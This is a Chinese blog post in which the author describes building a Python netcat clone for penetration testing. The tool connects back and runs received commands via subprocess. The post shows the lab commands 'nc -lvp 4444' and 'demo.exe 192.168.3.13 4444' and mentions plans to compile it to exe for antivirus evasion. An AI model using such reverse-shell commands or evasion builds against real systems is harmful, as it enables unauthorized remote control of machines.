python编写nc的思考

0x00前言发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00 前言

发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互性。要是有的话可能还要在工具里面修改到一些参数,然后才能进行使用。简单点来过脚本给我的概念就是编写出来能用就行。而工具具有的是一些交互性让对方输入自己想要的命令或者说参数,然后执行不需要频繁改代码再使用。还有的就是容错率,对应工具来说一些因为参数输入不正确,直接爆出一片红的,这个对用户来说并不是很友好,并且报错的话程序也会立即停止。这里再来说到框架,框架这个容错率和交互性肯定不用说了,这个是必备的,框架还必须具备的功能的齐全性和可移植性。

 

0x01 工具开发

在年初就一直计划着用python来编写个nc,但一直没有去实现,当时也买了本python黑帽子回来看,但由于python黑帽子是基于2.7版本的。python2.7和python3.7有很大的差异,后面也没有找到几个编写nc的书籍来做参考,所以当时的想法就破灭了。近几天来奇怪的想法又产生了,就使用了python3来编写这个nc,其实nc的编写非常简单也就是socket通讯,然后接受执行命令,执行的结果返回给我们的服务端。说白了也就是socket的通讯模型,只不过加了个执行命令的模块把执行结果给返回了。在后期想把这个nc再进行优化,例如可以完善成一个渗透框架,接受多个会话并且自由切换会话,设置心跳,上传下载功能,并且多个通讯隧道,打造成一个python版cs,python写的工具编译成exe程序的免杀效果 除了文件大了点外,还是很可观的。

使用kali进行nc监听

nc -lvp 4444

然后来到python 版本nc这边使用python_nc去连接

nc.py -i 192.168.3.39 -p 4444

 

python编写nc的思考

 

 

 命令执行成功,但是由于这里是因为编码的问题会乱码,kali里面改成gbk的编码就ok了。

 

这里再来测试他的服务端。

python_nc 改成监听模式

nc.py -l 4444

这里直接把python编译成exe,然后去我的win7进行操作,这里的demo的,只有客户端去连接的功能,用的是sys去接收,命令参数还没写,这里为了方便,用他来做个演示。

demo.exe 192.168.3.13 4444

这时候我们就可以在服务端来输入命令了

python编写nc的思考

 

因为在昨天去调试的时候python提示编码错误,在 打印的地方加多个encoding=’GBK’,使用gbk编码就好了。能成功输出中文。

这里是没问题的,但是如果输入不正确的命令的话,就会直接报错并且停止。在后来去找了一些原因是因为使用了 subprocess.check_output这个函数来执行命令,所以才会出现这种问题。这个函数

执行命令,如果状态码是0,则返回执行结果,否则抛出异常。再后面也会逐步去完善功能。

 

在下面给各位师傅们贴出github地址,有什么问题或者说建议的话也可以和我探讨。

github:https://github.com/nice0e3/python_nc/

0x02 结尾

在末尾,给大家贴张表情包。

python编写nc的思考

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119965.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 在Android Studio中新建android gradle project的时候connect refused

    在Android Studio中新建android gradle project的时候connect refused

    2021年9月30日
    54
  • jsp printwriter_java socket编程

    jsp printwriter_java socket编程JavaPrintWriter类在本教程中,我们将通过示例来学习JavaPrintWriter及其print()和printf()方法。java.io包的PrintWriter类可用于以通常可读的形式(文本)写入输出数据。它继承了抽象类Writer。PrintWriter的工作方式与其他写入器不同,PrintWriter将原始数据(int、float、char等)转换为文本格式。然后它将格式…

    2022年8月10日
    10
  • wing是什么_124个叶结点的完全二叉树

    wing是什么_124个叶结点的完全二叉树设一个 n 个节点的二叉树 tree 的中序遍历为(1,2,3,…,n),其中数字 1,2,3,…,n 为节点编号。每个节点都有一个分数(均为正整数),记第 i 个节点的分数为 di,tree 及它的每个子树都有一个加分,任一棵子树 subtree(也包含 tree 本身)的加分计算方法如下:subtree的左子树的加分 × subtree的右子树的加分 + subtree的根的分数若某个子树为空,规定其加分为 1。叶子的加分就是叶节点本身的分数,不考虑它的空子树。试求一棵符合中序遍历为(1,2,

    2022年8月9日
    5
  • dropna无效_drop from

    dropna无效_drop from需要加等号如df22=df22.dropna(how=”any”)

    2022年9月15日
    2
  • 无人机的电路板和控制器_无人机飞控电路图

    无人机的电路板和控制器_无人机飞控电路图第1步,查看官方ESP-Drone无人机ESP32-S2-WROVER模块的参考设计原理图第二步,用KiCAD绘制ESP32-S2-WROVER模块及周边电路。1、如图2-1所示,从KiCAD的原理图符号库中直接调出ESP32-S2-WROVER的原理图符号。注意,在安装KiCAD软件后,它的原理图符号库中已经有ESP32-S2-WROVER的原理图符号,可以直接调用,对于没有的原理图符号,可以进行自己创建。2、如图2-2所示,给ESP32-S2-WROVER模块…

    2022年8月15日
    9
  • 如何简化美化LEfSe分析结果中的Cladogram图

    如何简化美化LEfSe分析结果中的Cladogram图文章目录如何简化美化LEfSe分析结果中的Cladogram图写在前面美颜攻略扩展阅读Reference猜你喜欢写在后面如何简化美化LEfSe分析结果中的Cladogram图作者:赵维中国科学院天津工业生物技术研究所审稿:刘永鑫中国科学院遗传与发育生物学研究所写在前面关于LEfSe分析,相信大家早已耳熟能详。网上也有很多指导如何做LEfSe分析流程的文章。可是在实际应用中,仍然会遇到…

    2022年6月9日
    50

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号